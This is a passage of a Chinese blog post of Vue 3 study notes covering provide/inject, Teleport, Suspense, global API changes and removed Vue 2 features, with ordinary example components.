          let car = reactive({name:'奔驰',price:'40万'})
          provide('car',car)
          ......
      }
      
    2. 后代组件中:

      setup(props,context){
      	......
          const car = inject('car')
          return {car}
      	......
      }
      

6.响应式数据的判断

  • isRef: 检查一个值是否为一个 ref 对象
  • isReactive: 检查一个对象是否是由 reactive 创建的响应式代理
  • isReadonly: 检查一个对象是否是由 readonly 创建的只读代理
  • isProxy: 检查一个对象是否是由 reactive 或者 readonly 方法创建的代理

四、Composition API 的优势

1.Options API 存在的问题

使用传统OptionsAPI中,新增或者修改一个需求,就需要分别在data,methods,computed里修改 。

2.Composition API 的优势

我们可以更加优雅的组织我们的代码,函数。让相关功能的代码更加有序的组织在一起。

五、新的组件

1.Fragment

  • 在Vue2中: 组件必须有一个根标签
  • 在Vue3中: 组件可以没有根标签, 内部会将多个标签包含在一个Fragment虚拟元素中
  • 好处: 减少标签层级, 减小内存占用

2.Teleport

  • 什么是Teleport?—— Teleport 是一种能够将我们的组件html结构移动到指定位置的技术。

    <teleport to="移动位置">
    	<div v-if="isShow" class="mask">
    		<div class="dialog">
    			<h3>我是一个弹窗</h3>
    			<button @click="isShow = false">关闭弹窗</button>
    		</div>
    	</div>
    </teleport>
    

3.Suspense

  • 等待异步组件时渲染一些额外内容,让应用有更好的用户体验

  • 使用步骤:

    • 异步引入组件

    • 使用Suspense包裹组件,并配置好defaultfallback

      <template>
      <div class="app">
          <h3>我是App组件</h3>
        <Suspense>
            <template v-slot:default>
              <Child />
            </template>
            <template v-slot:fallback>
              <h3>稍等,加载中...</h3>
            </template>
          </Suspense>
        </div>
      </template>
      
      <script>
      // import Child from './components/Child'//静态引入
      import { defineAsyncComponent } from "vue";
      const Child = defineAsyncComponent(() => import("./components/Child")); //异步引入
      export default {
        name: "App",
        components: { Child },
      };
      </script>
      
      <style>
      .app {
        background-color: gray;
        padding: 10px;
      }
      </style>
      
      <template>
        <div class="child">
          <h3>我是Child组件</h3>
          {{ sum }}
        </div>
      </template>
      
      <script>
      import { ref } from "vue";
      export default {
        name: "Child",
        async setup() {
          let sum = ref(0);
          let p = new Promise((resolve, reject) => {
            setTimeout(() => {
              resolve({ sum });
            }, 3000);
          });
          return await p;
        },
      };
      </script>
      
      <style>
      .child {
        background-color: skyblue;
        padding: 10px;
      }
      </style>
      

六、其他

1.全局API的转移

  • Vue 2.x 有许多全局 API 和配置。

    • 例如:注册全局组件、注册全局指令等。

      //注册全局组件
      Vue.component('MyButton', {
        data: () => ({
          count: 0
        }),
        template: '<button @click="count++">Clicked {{ count }} times.</button>'
      })
      
      //注册全局指令
      Vue.directive('focus', {
        inserted: el => el.focus()
      }
      
  • Vue3.0中对这些API做出了调整:

    • 将全局的API,即:Vue.xxx调整到应用实例(app)上

      2.x 全局 API(Vue 3.x 实例 API (app)
      Vue.config.xxxx app.config.xxxx
      Vue.config.productionTip 移除
      Vue.component app.component
      Vue.directive app.directive
      Vue.mixin app.mixin
      Vue.use app.use
      Vue.prototype app.config.globalProperties

2.其他改变

  • data选项应始终被声明为一个函数。

  • 过度类名的更改:

    • Vue2.x写法

      .v-enter,
      .v-leave-to {
        opacity: 0;
      }
      .v-leave,
      .v-enter-to {
        opacity: 1;
      }
      
    • Vue3.x写法

      .v-enter-from,
      .v-leave-to {
        opacity: 0;
      }
      
      .v-leave-from,
      .v-enter-to {
        opacity: 1;
      }
      
  • 移除keyCode作为 v-on 的修饰符,同时也不再支持config.keyCodes

  • 移除v-on.native修饰符

    • 父组件中绑定事件

      <my-component
        v-on:close="handleComponentEvent"
        v-on:click="handleNativeClickEvent"
      />
      
    • 子组件中声明自定义事件

      <script>
        export default {
          emits: ['close']
        }
      </script>
      
  • 移除过滤器(filter)

    过滤器虽然这看起来很方便,但它需要一个自定义语法,打破大括号内表达式是 “只是 JavaScript” 的假设,这不仅有学习成本,而且有实现成本!建议用方法调用或计算属性去替换过滤器。

  • ......

posted @ 2022-04-09 00:19  努力&选择  阅读(129)  评论(0)    收藏  举报